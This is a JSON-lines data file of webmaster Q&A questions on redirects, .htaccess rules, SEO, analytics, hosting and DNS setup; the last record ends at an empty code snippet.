{"id":"65403","title":"Can I redirect a root site under IIS to a subdirectory, without affecting other applications?","text":"I'm running IIS 7.5 on Windows Server 2008R2. I currently run a site at the root of `mydomain.edu`. I also have a variety of applications (e.g., `mydomain.edu\/calendar`, `mydomain.edu\/research`, `mydomain.edu\/otherapp`) running on the server. I would like to move the root site to a subdirectory (i.e., `mydomain.edu\/sub`) to logically separate the root site's content from the other applications, but have traffic from `mydomain.edu` point to `mydomain.edu\/sub`. Is this feasible without displaying 'sub' in the path? For example, all pages should continue to display `mydomain.edu\/regularpage.htm` or `mydomain.edu\/directory\/page.htm` NOT `mydomain.edu\/sub\/regularpage.htm` or `mydomain.edu\/sub\/directory\/page.htm`). Can exclusions be added so as not to affect the other applications? I don't know if this is a fairly standard request and I am over-thinking this, or if this is a terrible idea that I absolutely should not consider."}
{"id":"34449","title":"Using subdomains or directories for main categories?","text":"I have a website which references places to travel to in the world. Those places are (of course) grouped by countries. Here is an example of an actual URL of my website: http:\/\/awespot.org\/country\/105\/iceland I am wondering if it would be better, in terms of SEO, to have the countries separated in subdomains: http:\/\/iceland.awespot.org\/ ~~I know subdomains are considered by Google as different websites~~ (see the comments), so I am considering the 2 options: * separating would mean also separating the pagerank and benefits of links to the website * but separating would enable me to create a \"web\" or related websites (all related to travel and all) that link and benefit to each other I am only asking about **SEO** here, I know there are other questions raised by this possibility (user experience, administration... even password completion by web browsers)"}
{"id":"51828","title":"Are links from all pages in the footer of Site A to different pages of Site B considered black-hat?","text":"I own two sites which hold different content that is targeted to different target markets. When Site B launched, I added links in the footer of Site A to different pages of Site B. Each page on Site A has a link in the footer to some random page on Site B. Is this considered black hat? Can I get penalized for this? This was about a year and a half ago, would you recommend removing these now?"}
{"id":"25581","title":"How does Google Plus select an image from a shared link?","text":"If you share a link on Google Plus it will often grab a fews images you can attach when you post the image. Facebook has a similar feature. You can tell Facebook which is the primary image for a page with a simple LINK tag. However, this isn't working for G+. How do you tell G+ what the primary image for a page is?"}
{"id":"69099","title":"Legal Music Videos to my website","text":"I want to upload a music video to my webiste. For ex. Eminem - Not Afraid. No matter where I found source but I don't want to embed it from YouTube. Is it legal to upload such a video? If not what should I do to make it legal? How can I get permission? What if I provide info like: Who own it, The author etc. ? What is the punishment for this. I live in EU, (Amsterdam). Thanks :)"}
{"id":"25582","title":"Newsletter Signup and VCF Files","text":"Recently I signed up for a newsletter and when the confirmation came in my e-mail I noticed it had this in the bottom corner:  (I have wiped out the website name.) After looking into it I realized that this appeared to be a VCF file that was attached to the e-mail and this is the way Thunderbird presented the file to me. My question is this: When a person signs up for a newsletter from my site is it a good practice to include a VCF file (as an attachment) in the confirmation e-mail so they can easily add my e-mail address and information to their address book?"}
{"id":"2257","title":"Rolling Updates in a Webserver Farm?","text":"Big websites (Amazon, Facebook, Yahoo etc.) don't schedule downtime for upgrades. Usually they are done \"live\" and rolled progressively through the server farm. They also have big infrastructure and teams to manage this. Smaller websites usually take the entire site offline to update the database structure and upgrade the code running on the web servers. The downtime can be very minimal but its still an interruption to customers. How did you make the jump to no-downtime rolling updates? What are the minimum requirements to get this done? What can we do to build applications that make this possible from the start?"}
{"id":"69095","title":"Does having a ccTLD mean your domains is less likely to show up in other countries?","text":"The .com is unavailable, so I'm considering purchasing the ccTLD for my new company. That said, at some point I'll probably wish to sell the product internationally (even if just online), so I'm wondering what, if any, effect the ccTLD would have on my website's rankings in other countries' search engines?"}
{"id":"60248","title":"Does the Instant Preview in Google webmaster tools takes Robot.txt in account?","text":"Is that the way to go If I want to visually see what the googlebot see? I'm trying to check a folder which I have just blocked in my robots.txt. * If I fetch the folder as google bot, It fetches ok, so that doesn't tell me nothing about whether the block is working * I know there's a tool to check for blocking, but it is dependent on the input of the robots.txt Therefore I've tried the Instant preview, and I don't get a preview for what the bot sees (\"pre-render), so I think that means that it's because the robots.txt blocks it; however - I don't see the bot tried beforehand to access my updated robots.txt, so I'm not sure how does it know that this folder is blocked? (it does preview another new folder, that is not blocked)"}
{"id":"21350","title":"Two different websites in one remote hosting","text":"My client asked me that a website that is hosted in one server (and pointing there through a domain) should also be accessed (into a specific directory) from another domain, which is not pointing there. For example: http:\/\/www.foo.com, hosted at GoDaddy, with the full website http:\/\/www.bar.com, hosted at Bluehost, needs to access http:\/\/www.foo.com\/bar, as if it was the http:\/\/www.bar.com's root. So, if anybody enters through http:\/\/www.bar.com, it should internally load http:\/\/www.foo.com\/bar, without visually changing the url. I amb not sure if this is possible using .htaccess or anything like this. Could anybody show me some light? Thanks in advance"}
{"id":"21351","title":"Old website hurting new website's SEO?","text":"I did work for a client many years ago now which was to create a database driven version of their original website. Now I'm no SEO expert, I merely provided the features to let them update all the necessary parts of the page to help change rankings. However the client did not want to de-commission their old site, they instead wanted them to run alongside each other on a slightly different domain but selling mostly the same products (although one is much more up to date than the other). The old website is http:\/\/www.thefineartcompany.co.uk and the new one is http:\/\/www.fineartcompany.co.uk. After trying many things with various SEO companies my client still cannot get the new site to rank highly and is even having a hard time getting the homepage recognized by Google properly. I have a feeling it is because the two URLs are very similar and they are selling the same content under the same name so Google does not think nicely of the new site. So my question is: 1. Does Google do this? 2. and if so is there anyway of proving this to the client? The reason I ask is because I'm sure my client would be worried about de-commisioning a higher ranking website over a lower ranking site. Thanks"}
{"id":"24180","title":"Google Chrome @font-face problem","text":"I have problem with pages that have @font-face with Chrome, for example if I go to page http:\/\/www.w3.org\/Style\/CSS\/SAC\/, then my computer freezes and I cannot do anything for a while. And this happends just with pages that have @font-face CSS property. So if I want to use @font-face on my own pages, is it possible to avoid this Chrome issue somehow?"}
{"id":"49726","title":"ASP to HTML - 301 redirects (SEO rankings before and after)","text":"I need to change the extension of the default pages and many other pages like `.asp` to `.html`, should I use a 301 redirect? The website is in the top 10 results for many keywords, I don't want to lose any ranking or PageRank. Will the redirection and renaming of the extensions hurt the site's rankings. If so, by how much percent?"}
{"id":"42919","title":"Noone else can access my website","text":"i recently changed my website to use Word Press and it was working fine before, i was getting traffic and stuff like that, but since i recently switched, it seems my site is not accessible by others. I can access it locally (Hosted at home) but i tried getting a rating on nibbler, and that failed, then tried downforeveryone and that failed aswell. I don't understand what has happened, i simply switched to Word Press while i design a new website, and it just won't work anymore. I am running my server off a Raspberry Pi if that helps. Website: http:\/\/miworldmc.tk"}
{"id":"63583","title":"Is it possible to track redirects to external sites from our subdomains?","text":"I have a handful of subdomains set up as redirects because we are using them for QR codes. I want to be able to track the QR code redirects (which are already set up and printed so no changing them at this point) and see the effectiveness of each. Here's two examples: http:\/\/qr.glorkianwarrior.com and http:\/\/ad.glorkianwarrior.com are set up to forward to our iTunes page (later on this year it may forward to Google Play or a specific landing page), is there any way on my server to track the redirect from the subdomain to iTunes and see where traffic is coming from first? I have the redirects set up through cPanel presently using subdomains. Edit: From the research I've seen I can't track a 301 directly. If I redirect to an internal page and then do a timed redirect to the iTunes link, how long will it take for the tracking script to track a hit?"}
{"id":"42917","title":"why isn't mozilla rendering my custom fonts","text":"I working on a website - goodmorninghomes.com The site looks perfect in all browsers including internet explorer but not in mozilla and the problem is the different fonts. I have included some custom fonts through @font-face CSS property and they are working properly in all browsers but not in firefox. The firefox console doesnt even show any problem. I just cant understand why this is happening."}
{"id":"42911","title":"SEO - Redirect on first page (site.com -> site.com\/en)","text":"I have website with multiple languages and at first entrance it checks for cookie and if no cookie is present then it _defaults_ to English language and redirects to `site.com\/en`. So basically every time someone enters `site.com` he will be redirected to `site.com\/{language}`. Is this bad for SEO?"}
{"id":"55448","title":"Why would \\x escaped URLs appear in my WAMP server logs?","text":"I have set up a local WAMP on my server which is accessible over the internet. What is this strange traffic?  Normal request traffic would look like this: `\/directiory\/index.php`, but those requests are escape characters? Who would access my server like this?"}
{"id":"51820","title":"Google: always I am the first result on second page","text":"I am searching on Google my published articles but I don't understand why I am always the first result on the second page? (My site is also, on Google news and it appears as news on first page, but the article is first, on the second page)."}
{"id":"49723","title":"Is there a way to get Google keywords?","text":"Is there any way at all to get Google keywords entered? For example, if I forced Google to index my site with only HTTPS, would I then get the keywords entered by the visitor when they arrive at my site?"}
{"id":"250","title":"Is it worth looking into a webserver other than apache?","text":"I've traditionally deployed my sites under apache, simply by default. I've heard things about NGinX though and I'm wondering under which conditions it would be superior. In addition to apache and Nginx, what the other options are for webservers and what are their benefits?"}
{"id":"36053","title":"Build My Own Advertising Network","text":"I have a few ideas that I think would be pretty game changing for online advertising and I would like to build my own network but I don't know where to start. I know it will take a lot of time for major publishers to get on board but I am more curious about the technical side. What language\/database model and framework are modern ad networks built on? Basically I want to build an advertising network that registers views per page and allows publishers to manage the look of their own ads and let's the users interact with the ads. Is there any good information on doing something like this or any framework you can suggest to build on? I know this would get complicated pretty fast so if you have suggestions for ad networks that let you customize them heavily I would be glad to hear your suggestions."}
{"id":"51115","title":"Why do different tools report different rankings for the same page?","text":"I am in a new job following an internship and I have been given the position of SEO Analyst. I have zero experience with SEO before this, I have some development experience which hopefully will stand to me but right now things feel very dicey. I am reading everything I can get my hands on but I was kinda stumped today and I was hoping someone here could perhaps clear or confirm my insanity. I was asked to do a quick check on the keyword ranking for a customer, sounds simple enough but it has taken me the best part of 4 hours (half of that researching what keyword ranking tools are available\/any good). I checked the keyword rankings using Rank Checker then SEO Power Suite and then manually searching and counting. The problem is I got three different results from each tool so now I'm confused. I know local searches have an effect and I can accept thats why Rank Checker was so so far off as it was searching on `google.com` rather than my national TLD. Taking this into account SEO PowerSuite and a manual check should have been the same (as I manually set SEO PowerSuite to search on my TLD and my browser redirects to the TLD for Google). I am utterly baffled as to how the hell an allegedly abstract neutral metric can change from tool to tool? If Google ranks a domain result on the SERP at three it should stay at three no matter what tool I use to search for it - no? Or am I just insane to expect consistency when it comes to all things Google and SEO?"}
{"id":"38406","title":"Is there a way to see granular per-visit data in Google Analytics?","text":"I've started using Google Analytics very recently and I'm a bit lost with the sea of options (have been using Sitemeter before for some time). I've clicked through the service a lot but couldn't find what I'm accustomed to. I can see multitude of **aggregated** statistics in GA like: * charts of browser share * lists of country share * lists of most visited URLs within the page and so on, but I would actually like to analyze **each of the visits themselves**. Something like: > 1. User X, France, Chrome, 7 pageviews between 18:01 and 18:15, entered on > a.htm and exited on b.htm > 2. User Y, UK, Firefox, 1 pageview at 18:20, entered on c.htm > Is there an easy way to see the reports in this way (perhaps by clicking a link to a separate page to see that particular session's stats)? How to navigate there if so?"}
{"id":"38404","title":"Impartial comparisons on cloud \/ shared-hosting speeds with different providers","text":"Are there any impartial comparisons on speeds of cloud hosting or shared hosting from different providers? I've googled and found a few snippets of info, but not sure that they're impartial studies..."}
{"id":"55811","title":"Schema.org or data-vocab.org which one is better to use?","text":"Schema.org or data-vocab.org which one is better to use? Im aware of the fact that data-vocab is considered to be outdated version of itemscope and the schema is the newly introduced itemscope . but since schema.org\/person is not being read by google webmaster tools.hence should i shift to data vocab?"}
{"id":"10603","title":"How do I redirect an English language URL to an Arabic language URL?","text":"I have a link that's currently formatted like this: http:\/\/site.com\/news\/view\/1.html I want to it redirect it to: http:\/\/site.com\/خبر\/عنوان-الخبر where `خبر` is equal to `news` and `عنوان-الخبر` is the title of the news page. I want do it using .htaccess, and provide a permanent 301 redirect for the old URLs. Do I need to edit the PHP source at all to accomplish this?"}
{"id":"10601","title":"Dns hosting question","text":"I'm new to dns hosting and I have recently setup google apps for the 'mail.' cname record. How can I use it to display files on the www URL? ie: 'www.' cname. Or is it not possible to upload files using dns hosting only? I also have hosting elsewhere and wanted to know if I could forward the www cname to a subdirectory on that server, but not displaying the subdirectory URL publicly, rather the address bar constantly remains as the dns hosted (original) domain? Thank you!"}
{"id":"10606","title":"Google doesn't index a subdomain. What can be the problem and what can be done?","text":"I have a domain, let's call it example.com, which has a subdomain, games.example.com. I maintain a games forum using phpbbseo which is located at games.example.com\/forum. The problem is that the forum is not being crawled. I used Google's webmaster tools and tested that the page is seen by google. P.S. There is a link from games.example.com to games.example.com\/forum. What can I do? How can I make google crawl my forum?"}
{"id":"10604","title":"How can I make my web application faster in Australia when it is hosted in USA","text":"I have www.localo.org hosted on a BlueHost server in USA but I am in Australia and it is INCREDIBLY SLOW! I uploaded it to a Crazy Domains server in Australia and it ran flawlessly. I don't want to have a separate server in every country, so what do I need to do to make it based in USA but run smoothly in distant countries?"}
{"id":"57048","title":"Would a self-signed certificate impact my site for search engines?","text":"Would a self-signed certificate impact my site for search engines? By that I mean, do robots refuse to index sites with self-signed certificates?"}
{"id":"2070","title":"Is there a way to block the use of Google's SideWiki?","text":"Google created a tool that can be really great for some people, but it can also be a huge problem for others. I'm talking about the (in)famous SideWiki. I'm trying to find a way to block the use of SideWiki on a Web page. I know it can't be used on https, I know there's a javascript available on the web to block the google toolbar. But I'm looking for a clean solution that will not block any users from accessing the Web site, but will only disable the SideWiki. I didn't find anything in Google's documentation so I'm turning to you guys. Anyone knows how to do it? Thanks!"}
{"id":"2075","title":"Implementing an aggregator and integrating it with WordPress","text":"_Since this is quite a conceptual question which might involve a bit of discussion, I've made it a community wiki_ I'm working on a site that will work as a fairly simple aggregator of content from various sources including several Twitter, Flickr, and Facebook accounts. Updates will occur on a periodic basis, at which point feed data will be fetched and updated in a local store. A single page on the site will display the latest set of content; other static pages will be updated occasionally. I'm building the site on top of WordPress to facilitate easy management for a non-technical editor. My initial prototype stored details of each feed item's content (e.g. title, link, description, image) in a custom built database. However, since beginning the WordPress side of things, I'm wondering if it wouldn't make more sense to use the existing WordPress database for this purpose - i.e. store each feed item as a WordPress post (in wp_posts) and additional data in wp_postmeta. The category\/tag model could be used to differentiate Twitter items from Flickr ones, etc. This would give the advantage of using just a single database, and also making all WordPress functions available for the management of individual post items. Does anyone have an opinion on this, particularly any 'gotchas' or possible pitfalls that may arise from such an approach?"}
{"id":"57518","title":"Flash referrer passing\/blocking","text":"I have noticed that in firefox when playing a mp4\/flv file via a swf player, A referrer is not sent from the swf player. However if we switch over to chrome, a referrer is sent. With this being said, is there a way in flash (via markup or internal programming) to decide if we want to pass or not pass the referrer?"}
{"id":"54892","title":"Can I hide <h1> tag? Will it hurt SEO?","text":"My pages look better without a heading title. So I don't really want to use a heading, but I don't want to leave `<h1>` out. Is hiding the element an option? Will it hurt SEO?"}
{"id":"58640","title":"Domain Name mapping question","text":"I'm developing a desktop application which communicates with a custom webservice which is currently being tested using the default domain name provided by our hosting plan , eg `http:\/\/mysite-001-siteXYZ.somehostingcompany.net\/` Once everything is working and ready to launch we will map the domain name of the bought domain address, eg `http:\/\/RealNameofWebsite.com\/` This is a newbie question really, will both url's work once the domain name is mapped? Also, am I correct in assuming using `http:\/\/RealNameofWebsite.com\/` is preferable in the application as it will follow whichever hosting company is mapped?"}
{"id":"58862","title":"Directory structure and script arguments","text":"I'll often see a URL that looks something like this: site.com\/articles\/may\/05\/02\/2011\/article-name.php Surely all of those subdirectories don't actually exist? It seems like it would be a huge redundancy, even if it was only an identical index file in every directory. To change anything you'd have to change every single one. I guess my question is, is there some more elegant way that sites usually accomplish this?"}
{"id":"14129","title":"Good free CSS Sprite for icons","text":"I am working on a small project where I need some of the basic icons: edit, favorite, delete. You know them. Now i can download them all seperate, and put them together in a sprite, but I was wondering if there are ready to download sprites which I can use. Now I am working on an accounting app, so it would be nice if the icons were not too childish. A little but of fancy business type icons. Thanks"}
{"id":"18466","title":"Google +1 something via a URL","text":"Is there a way to +1 something via a URL, just like you would with Twitter or Facebook? * * * e.g. With Twitter you have: http:\/\/twitter.com\/home?status={url} With Facebook you have: http:\/\/www.facebook.com\/sharer.php?u={url}&t={title} With Digg you have: http:\/\/digg.com\/submit?phase=2&url={url}&title={title}"}
{"id":"18463","title":"changing <b> tag style to font-weight normal","text":"I am highlighting key words on my web pages using the `<b>` tag. I have set all `<b>` tags to `font-weight: normal` in my global stylesheet and was wondering if this would be considered a 'black hat' technique by search engines? My colleague seems to think so but i'm not too sure as it's just styling. Does anyone know or have an opinion?"}
{"id":"33462","title":"Forbid content in google results summary","text":"I put a professional directory project online since few weeks, Google has started to index some pages but i just noticed a flaw in the design of the pages. Each page have an adress, some content and a dynamic phone number and because the dynamic phone number (the number change every hour) is on the top of the page, Google display an incorrect phone number in the summary of the page in it's results. So my question is: it is posible to forbid google to display this information or should i have to put some extra content before the number to overide it?"}
{"id":"52723","title":"Track social activity for any subdomain","text":"We are working on a web application thats actually a network of subdomains. Each user own a subdomain for its own profile. We are looking for a way to track social activity, shares and likes for all network under one profile. We tried using addthis but they don't support a feature like this."}
{"id":"17732","title":"MSSQL manager like phpMyAdmin","text":"I have a .net hosting account but they have provided a free asp.net enterprise manager, a software to manage MSSQL server. Is there any other Phpmyadmin like software. My server supports Php also."}
{"id":"17731","title":"Hosting server application for global SME","text":"We are planning to set up a complete ERP and CRM system for a medium-sized global company, that might turn into a essential tool for all locations once deployed. For now these locations include USA, Germany, China and Indonesia, but the list is growing quickly. My question is, where it is best to physically locate the server to ensure the access times are optimal from all (future) locations? On my mind, I am dealing with multiple connected servers (a cloud?), where each of our users is served by the physically closest server. Being in a very competitive field we would also like to rule out, that any data is stored in mainland China... Thanks for any advice and pointers!"}
{"id":"17730","title":"Specifying crawlers to not crawl Links which are dependent on external API's","text":"I have links on my site which lead to internal pages that depend on first bringing data from an external API. This only takes time the first time they are pushed. Links to pages which exists in the DB, load a lot faster. I'm specify for search engines to only crawl the internal pages. This is what I thought of: 1. Creating a site map with the internal links 2. Adding this to every page on my site `<META NAME=\"ROBOTS\" CONTENT=\"NOFOLLOW\" \/>` Will this succeed? Does the site map over-ride the nofollow? Would you suggest a different direction? Thanks"}
{"id":"27982","title":"RewriteRule working local but not on remote server","text":"I have a .htaccess file with one simple RewriteRule: RewriteEngine on RewriteRule ^([A-Za-z0-9-]+)$ ?site=$1 I want to have an url like http:\/\/www.example.com\/imprint and forward it to http:\/\/www.example.com\/?site=imprint I checked this rule with an RewriteRule tester which gave me the results I want to achieve. On my local development system it works well too. But on a remote server the URLs just give me a 404 error. Other more simple rewrite rules are working with no problems, so everything must be set up correctly (I think..). The problem is that I don't have access to any error logs or the server configs. So the only thing I can do is to guess... Can anyone tell me if theres something wrong with this rule? Or anything else I can do or test to solve this? Or has someone an idea what could be wrong on the server?"}
{"id":"68380","title":"How do I find the most popular search terms by browser?","text":"How do I find the most popular search terms categorized by browser? I tried http:\/\/www.google.com\/trends\/explore, but it doesn't let you filter by browser."}
{"id":"62985","title":"Determining conversion rate if users land on specific pages","text":"I'm trying to figure out the value of specific pages by finding out if they are more or less likely to convert if they hit certain pages. For example: I want to know if they are more likely to convert if they hit one of our case studies or if they go to our about page? Is there a way to do this in Google Analytics? Or do I need secondary software?"}
{"id":"62982","title":"Real-time analytics always shows 100% new","text":"Real-time Google Analytics used to show new vs. returning visitors by default but then they switched to Desktop vs. Mobile. I've now setup a custom dashboard based on #3 found here. However, this shows that 100% of my visitors are new. I never see a returning visitor in real-time. (If I go to Audience > Overview I can see that I do indeed have returning visitors but the stats are not in real-time). How do I correctly get the number of new vs. returning visitors in real-time?"}
{"id":"47295","title":"Test different timezones","text":"What is a simple way to temporarily change the timezone in Chrome so as to test how a site renders for different locations? On OSX Mountain Lion, I've tried as bash script with: export TZ='Indian\/Mauritius' date open \/Applications\/Google\\ Chrome.app ~\/status.html where status.html * contains <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/loose.dtd\"> <html> <head> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\"> <title>Time zone test<\/title> <\/head> <div id=\"local\"><\/div> <div id=\"offset\"><\/div> <script> document.getElementById('local').innerHTML = \"The local time is \" + (new Date()).toLocaleString(); document.getElementById('offset').innerHTML = \"Local offset:\" + (new Date()).getTimezoneOffset(); <\/script> <\/body> <\/html> The **date** command correctly returns Mauritius time, but the javascript renders the time as being my machine's time * apologies for posting the _whole_ file, but there might be relevant tags I haven't considered"}
{"id":"57674","title":"Redesigned website, transferred content, and now invisible to Google","text":"I recently completely redesigned my website, `http:\/\/concourstee.fr`. We used to have a fairly good ranking in Google, but when redesigning the website I thought I'd try to make things better. (WordPress Yoast plugin for SEO, better use of keywords, etc.) So I moved the old website to `http:\/\/concourstee.fr\/old\/` and uploaded the new version of the website. (Both versions are running WordPress) Since then, my website has just completely disappeared from Google, I have absolutely no idea why... I realized that Google only found the old website, under `concourstee.fr\/old\/` when doing a search for `site:concourstee.fr`, so I moved it downloaded a backup of the old website and deleted it. Google can still only find `concourstee.fr\/old\/`, about a week afterwards, and it still won't display the new website, even when searching for things as basic as \"Concours Total EDHEC Entreprendre\", which is the actual name of the site, and appears several times on the main page. I then realized I had an error in my code : <meta name=\"robots\" content=\"none\" \/> <meta name=\"googlebot\" content=\"none\" \/> Which I fixed two days ago, changing `none` to `index,follow`, but I am still not appearing in Google... So what am I to do? We have a big event coming up and we really need our Google visibility back!"}
{"id":"60636","title":"Is it a bad idea to allow mulitple ways to get a product on a site?","text":"I am building a site where we will sell products etc. Currently the url to get to a product is like so \"Store\/Store_product_page\/The product_ID\" or \"Store\/Store_product_page\/The product_title\" I have been doing some SEO on the site and I am not sure if it matters if there is multiple ways to get to a product page. Should I have just one way or the other but not both ways to get to the same product page? Also does it matter much if I just made it so only this way worked \"Store\/Store_product_page\/The product_ID\"?"}
{"id":"47297","title":"Where to host a .cur image?","text":"`.cur` is an image extension for mouse cursors. I have purchased a custom domain via Blogger. Unlike WordPress, Blogger does not have any directory of webfiles or something where things can be uploaded. I need to change the default cursor of my mouse in my website. Unfortunately, Google's Picasa or Imageshack\/Phobucket do not support `.cur` files. I found some other image sites while googling but all are old image hosting services which no longer exist. I tried Dropbox, Google code but they provide a link to download the `.cur` image and not actually give a URL which I can link in my CSS. Is there any way to host `.cur` images?"}
{"id":"9793","title":"Is it possible that two or more URL's may have same Alexa traffic rank?","text":"Is it possible that two or more URL's may have same Alexa traffic rank? I am developing a tools that depends on the Alexa rank, But there are some Urls with same alexa rank."}
{"id":"39821","title":"How is the new Hulu not penalized for SEO?","text":"I heard if you serve different content with Javascript disabled, search Bots can penalize you. I have been looking at the source of the new Hulu website and wanted to ask a few questions. I was told to ask them here as opposed to StackOverflow. Your help will be much appreciated. I am building a Backbone application, and the site is very Javascript heavy as you can imagine. I did not code the site with progressive enhancement in mind. I thought if Hulu can successfully do this, I am sure it is feasible. With every page, Hulu has a content area (div id = \"SEO\") with links to its various videos. This SEO content area is removed with javascript. Obviously this will only be removed if Javascript is not disabled. If it is dsiabled, a no script tag is used covering the SEO content area asking the user to enable Javascript. So in essence, the Bot will still crawl the SEO content area. 99% of the content, from what I can see, is being served via JSON. Now the Bot obviously cannot read this content. However, all SEO Meta tags are served from the server with the content inside the SEO content area. Now my question is: is this enough? Can I have a content area with just \"enough seo\" (H1 paragraph etc) so the Bots can get an understanding of what the page contains, then have my application takeover? Will I get penalized for serving different content? I can have the page rendered on the server, but it does require much more work and I will then need to maintain both client and server side templates."}
{"id":"36031","title":"SEO and domain name - which shape?","text":"I just want to register the domain name for my spanish class and wonder, what domain name is beter for this purpose: * learningspanish.com or * ilearnspanish.com Which one is better? The domain name must be English, but I don't know, what is better for Google and SEO - if **learn** or **learning**... I would be grateful for your feedback and sorry if the explanation above is not understandable (I would try to explain it better). Thank you"}
{"id":"56343","title":"Google Analytics with transactions - quanity mismatch?","text":"We've been using Google Analytics reporting for some time now and we tend to focus on **GA > Conversions > Ecommerce > Transactions** (on left hand menu) Columns: * \"Transaction\" listing all orders with a transaction id e.g. SESS123_name * \"Revenue\" listing €amount * \"Tax\" listing €amount * \"Shipping\" listing €amount and finally \"Quantity\" we show transaction numbers. Yesterday (and now today), we have noticed that the Quantity column numbers are doubling to what we see when we view a transaction in detail **e.g** Quantity = 4 then you click on the Transaction ID and it shows = 2"}
{"id":"9799","title":"WordPress theme like this Drupal theme?","text":"I was wondering if anyone knew of a WordPress theme that was similar to this websites theme (in Drupal): http:\/\/www.barefootrunners.org Thanks!"}
{"id":"36034","title":"Why doesn't Firefox have a volume slider for the audio element?","text":"Seems like most browsers have a slider to control the volume of audio files played via the `<audio>` tag, yet Firefox on Windows (and Linux) seems to only have an 'all on' or 'all off' volume control. Is it just me?  You can test on your own here (be careful audio are autostart)"}
{"id":"36525","title":"Apache2's recursive directory permission requirement","text":"The experience I've had thus far is from Ubuntu 10.04 and 12.04 64 bit OS so if there are other OS differences I'd like to know if this is an OS specific problem or not. The issue I've experienced is mostly confusion. Once the cause of the problem is identified and corrected there are no further related problems experienced. The symptom is Error 403 forbidden. Typically the cause is attempting to use a directory other than \/var\/www\/ for content. The cause is simply permissions, but its puzzling why the required permissions must persist from at least one level deeper than root onward till the current working directory where the content is stored. For example: Alias \/example\/ \"\/home\/user\/permissions\/can\/be\/confusing\/with\/apache\/\" <Directory \/home\/user\/permissions\/can\/be\/confusing\/with\/apache\/> Options FollowSymLinks MultiViews AllowOverride None Order allow,deny Allow from all <\/Directory> With www-data being the user that spawned apache and \"user\" being a member of the www-data group. Thus, if ownership of \/home\/user\/* is user:user then all that is necessary to display content with apache is permssions of read and execute. So d---r-x--- should suffice, but for practical purposes I'm using drwxr-x--- for most. However, if all directories \/home\/user\/* are permissions of drwxr-x-- and \/home\/user\/ itself has permissions of drwx------ then content will always fail with error 403. This is strange because it doesn't follow what I would consider traditional logic of permissions which should only be applicable to the current working directory or a particular file in that directory and not any directory further back in the chain. Is this by design or is it a bug?"}
{"id":"18609","title":"How to convert Corel Draw design into HTML design?","text":"I have a Corel Draw .cdr file which has a full design of a web page. Is there any way to convert that design into HTML template?"}
{"id":"14383","title":"Hosting related inquery Asp.Net 4.0 application","text":"We are building a public site Using asp.net 4.0 and SqlServer 2008 R2. We are assuming with a year our user count will be around 200,000. We need better a understanding; for hosting how much bandwidth per month we should consider. Also what about ram\/cpu."}
{"id":"54097","title":"Google shows duplicate meta description in its index","text":"Here's a search on Google for my site. Texts are different for each page of my site but snippets (meta description) are still the same for a Google search. Can you give me an advice to change it?"}
{"id":"4179","title":"Looking for a sitemap generator","text":"I am looking for a good way to generate a sitemap for my current site. I inherited a huge site at work and we are going to start the process of IA analysis and redesign. It would be awesome if there was some way to crawl the site and automatically generate a sitemap with all of our pages. Does anyone know of any good resources? Thanks,"}
{"id":"22993","title":"online site map generator that has an access via URL","text":"> **Possible Duplicate:** > Looking for a sitemap generator I am looking for a service that I can access daily based to generate a sitemap.xml file for SEO. Something like http:\/\/www.seo-sitemap-service.com?freq=daily&generate-for- url=http:\/\/www.mysite.com"}
{"id":"11625","title":"Free unlimited-page sitemap generator?","text":"> **Possible Duplicate:** > Looking for a sitemap generator I have been using www.xml-sitemaps.com\/ but their limit is 500 pages. My site has grown beyond that and I am wondering whether there is another tool I can use that I can use to create sitemaps."}
{"id":"27918","title":"How do I make a free sitemap.xml for a site that is few thousand pages?","text":"> **Possible Duplicate:** > Free unlimited-page sitemap generator? Is there a free tool out there that would let me make a free sitemap for about 3k page site? Thanks!"}
{"id":"48153","title":"What does \"all\" mean in meta robots tag?","text":"Several websites have the following meta tag aimed at search engines like Google, Bing, etc.: <meta name=\"robots\" content=\"all\" \/> What does it do?"}
{"id":"20406","title":"How to have One DNS and two different webhost?","text":"I have one domain name i.e. example.com registered via godaddy. * Now, I want to host my personal blog on blogger\/blogspot with this url (i.e. on subdomain) \"http:\/\/subdomain.example.com\" * And, I want to host my full website on different webhost (It is a free host which supports all the PHP features) but it does not allow me to modify CNAME and A records of domain. * Godaddy allows me to modify DNS Settings of my domain name including CNAME and A Records but only if it's name servers are used. Now, Solve my Problem. I will be very much grateful to you."}
{"id":"33267","title":"404 error on a file\/directory that exists?","text":"We are using the vBulletin system. I have set it up so that it redirects 404 error's to a php page, so it follows the theme of the forum. However, if I go to a directory that exists (the admin directory to be precise), I get the 404 error. The folder in question is htaccess password protected, as well as leech protected. And this is happening to all .htaccess protected directory's My .htaccess is below: RewriteEngine on # 404 errors ErrorDocument 404 \/errors.php?do=404 ErrorDocument 403 \/errors.php?do=403 ErrorDocument 500 \/errors.php?do=500 # If you are having problems or are using VirtualDocumentRoot, uncomment this line and set it to your vBulletin directory. # RewriteBase \/forum\/ # If you are having problems with the rewrite from content\/ to content.php, uncomment this line to turn MultiViews off. # Options -MultiViews RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] # Forum RewriteRule ^threads\/.* showthread.php [QSA] RewriteRule ^forums\/.* forumdisplay.php [QSA] RewriteRule ^members\/.* member.php [QSA] RewriteRule ^blogs\/.* blog.php [QSA] RewriteRule ^entries\/.* entry.php [QSA] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] # MVC RewriteRule ^(?:(.*?)(?:\/|$))(.*|$)$ $1.php?r=$2 [QSA] # Check MVC result RewriteCond %{REQUEST_FILENAME} -f RewriteRule ^(.*)$ - [NC,L] RewriteRule ^(.*)$ - [R=404,L] Please could anyone help? Thank you."}
{"id":"20408","title":"If CSS is getting better why do big-brands websites still use tables for layout?","text":"Everybody is referring to how content should be separated from layout and I am one strong advocate of that architecture, I find it easy too to use CSS to layout, much much easier than tables, But why oh why, do big names still use tables for layout? (Google Shopping is the biggest offender), eBay, Amazon, BaseCamp... great websites wouldn't you agree? I just need to understand their motives, so that I know for sure: am I missing something? is it really easier or faster or cheaper to use tables? Google shopping code snippet: "}
